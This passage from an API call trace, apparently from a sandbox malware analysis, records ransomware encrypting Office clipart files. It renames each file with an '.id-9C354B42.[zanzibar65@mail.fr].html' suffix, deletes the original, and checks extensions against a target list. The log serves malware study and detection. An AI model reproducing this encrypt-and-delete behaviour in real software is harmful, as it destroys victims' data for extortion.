lpNumberOfBytesRead=0x2ebfed4*=0x34cb, lpOverlapped=0x0) returned 1 [0054.942] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0054.943] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.944] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.944] SetEndOfFile (hFile=0x234) returned 1 [0054.944] CloseHandle (hObject=0x234) returned 1 [0054.944] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.944] SetEndOfFile (hFile=0x174) returned 1 [0054.945] CloseHandle (hObject=0x174) returned 1 [0054.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0054.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0054.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0054.945] lstrlenW (lpString=".doc") returned 4 [0054.945] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.945] lstrlenW (lpString=".docx") returned 5 [0054.945] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.945] lstrlenW (lpString=".pdf") returned 4 [0054.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.946] lstrlenW (lpString=".xls") returned 4 [0054.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.946] lstrlenW (lpString=".xlsx") returned 5 [0054.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.946] lstrlenW (lpString=".ppt") returned 4 [0054.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0054.946] lstrlenW (lpString=".zip") returned 4 [0054.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.946] lstrlenW (lpString=".rar") returned 4 [0054.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.946] lstrlenW (lpString=".bz2") returned 4 [0054.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.946] lstrlenW (lpString=".7z") returned 3 [0054.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0054.946] lstrlenW (lpString=".dbf") returned 4 [0054.946] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0054.946] lstrlenW (lpString=".1cd") returned 4 [0054.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0054.946] lstrlenW (lpString=".jpg") returned 4 [0054.946] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.947] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.947] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.947] GetLastError () returned 0x0 [0054.947] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x4edd, lpOverlapped=0x0) returned 1 [0054.949] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0054.950] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.950] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.950] SetEndOfFile (hFile=0x234) returned 1 [0054.950] CloseHandle (hObject=0x234) returned 1 [0054.950] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.951] SetEndOfFile (hFile=0x174) returned 1 [0054.951] CloseHandle (hObject=0x174) returned 1 [0054.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0054.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0054.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0054.952] lstrlenW (lpString=".doc") returned 4 [0054.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.952] lstrlenW (lpString=".docx") returned 5 [0054.952] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.952] lstrlenW (lpString=".pdf") returned 4 [0054.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.952] lstrlenW (lpString=".xls") returned 4 [0054.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.952] lstrlenW (lpString=".xlsx") returned 5 [0054.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.952] lstrlenW (lpString=".ppt") returned 4 [0054.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0054.952] lstrlenW (lpString=".zip") returned 4 [0054.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.952] lstrlenW (lpString=".rar") returned 4 [0054.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.952] lstrlenW (lpString=".bz2") returned 4 [0054.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.953] lstrlenW (lpString=".7z") returned 3 [0054.953] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0054.953] lstrlenW (lpString=".dbf") returned 4 [0054.953] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0054.953] lstrlenW (lpString=".1cd") returned 4 [0054.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0054.953] lstrlenW (lpString=".jpg") returned 4 [0054.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.953] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.953] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.954] GetLastError () returned 0x0 [0054.954] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0054.955] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0054.956] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.956] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.957] SetEndOfFile (hFile=0x234) returned 1 [0054.957] CloseHandle (hObject=0x234) returned 1 [0054.957] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.957] SetEndOfFile (hFile=0x174) returned 1 [0054.958] CloseHandle (hObject=0x174) returned 1 [0054.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0054.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0054.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0054.958] lstrlenW (lpString=".doc") returned 4 [0054.958] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.958] lstrlenW (lpString=".docx") returned 5 [0054.958] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.958] lstrlenW (lpString=".pdf") returned 4 [0054.958] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.958] lstrlenW (lpString=".xls") returned 4 [0054.959] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.959] lstrlenW (lpString=".xlsx") returned 5 [0054.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.959] lstrlenW (lpString=".ppt") returned 4 [0054.959] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0054.959] lstrlenW (lpString=".zip") returned 4 [0054.959] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.959] lstrlenW (lpString=".rar") returned 4 [0054.959] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.959] lstrlenW (lpString=".bz2") returned 4 [0054.959] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.959] lstrlenW (lpString=".7z") returned 3 [0054.959] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0054.959] lstrlenW (lpString=".dbf") returned 4 [0054.959] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0054.959] lstrlenW (lpString=".1cd") returned 4 [0054.959] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0054.959] lstrlenW (lpString=".jpg") returned 4 [0054.959] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.960] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.960] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.960] GetLastError () returned 0x0 [0054.960] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x3d75, lpOverlapped=0x0) returned 1 [0054.962] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0054.963] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.963] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.963] SetEndOfFile (hFile=0x234) returned 1 [0054.963] CloseHandle (hObject=0x234) returned 1 [0054.963] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.963] SetEndOfFile (hFile=0x174) returned 1 [0054.964] CloseHandle (hObject=0x174) returned 1 [0054.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0054.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0054.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0054.964] lstrlenW (lpString=".doc") returned 4 [0054.964] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.964] lstrlenW (lpString=".docx") returned 5 [0054.965] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.965] lstrlenW (lpString=".pdf") returned 4 [0054.965] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.965] lstrlenW (lpString=".xls") returned 4 [0054.965] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.965] lstrlenW (lpString=".xlsx") returned 5 [0054.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.965] lstrlenW (lpString=".ppt") returned 4 [0054.965] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0054.965] lstrlenW (lpString=".zip") returned 4 [0054.965] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.965] lstrlenW (lpString=".rar") returned 4 [0054.965] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.965] lstrlenW (lpString=".bz2") returned 4 [0054.965] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.965] lstrlenW (lpString=".7z") returned 3 [0054.965] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0054.965] lstrlenW (lpString=".dbf") returned 4 [0054.965] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0054.965] lstrlenW (lpString=".1cd") returned 4 [0054.965] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0054.965] lstrlenW (lpString=".jpg") returned 4 [0054.965] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.966] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.966] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.966] GetLastError () returned 0x0 [0054.966] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x32b6, lpOverlapped=0x0) returned 1 [0055.268] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0055.269] ReadFile (in: hFile=0x174, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.269] WriteFile (in: hFile=0x234, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.269] SetEndOfFile (hFile=0x234) returned 1 [0056.351] CloseHandle (hObject=0x234) returned 1 [0056.527] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.527] SetEndOfFile (hFile=0x174) returned 1 [0056.528] CloseHandle (hObject=0x174) returned 1 [0056.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0056.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0056.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0056.847] lstrlenW (lpString=".doc") returned 4 [0056.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.847] lstrlenW (lpString=".docx") returned 5 [0056.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.847] lstrlenW (lpString=".pdf") returned 4 [0056.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.847] lstrlenW (lpString=".xls") returned 4 [0056.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.847] lstrlenW (lpString=".xlsx") returned 5 [0056.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.847] lstrlenW (lpString=".ppt") returned 4 [0056.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0056.848] lstrlenW (lpString=".zip") returned 4 [0056.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.848] lstrlenW (lpString=".rar") returned 4 [0056.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.848] lstrlenW (lpString=".bz2") returned 4 [0056.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.848] lstrlenW (lpString=".7z") returned 3 [0056.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0056.848] lstrlenW (lpString=".dbf") returned 4 [0056.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0056.848] lstrlenW (lpString=".1cd") returned 4 [0056.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0056.848] lstrlenW (lpString=".jpg") returned 4 [0056.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.848] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.848] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0056.849] GetLastError () returned 0x0 [0056.849] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1044, lpOverlapped=0x0) returned 1 [0057.104] WriteFile (in: hFile=0x204, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1050, lpOverlapped=0x0) returned 1 [0057.134] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.321] WriteFile (in: hFile=0x204, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.321] SetEndOfFile (hFile=0x204) returned 1 [0057.328] CloseHandle (hObject=0x204) returned 1 [0057.335] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.356] SetEndOfFile (hFile=0x1d8) returned 1 [0058.619] CloseHandle (hObject=0x1d8) returned 1 [0058.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0058.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.653] lstrlenW (lpString=".doc") returned 4 [0058.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.654] lstrlenW (lpString=".docx") returned 5 [0058.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.654] lstrlenW (lpString=".pdf") returned 4 [0058.654] lstrcmpiW 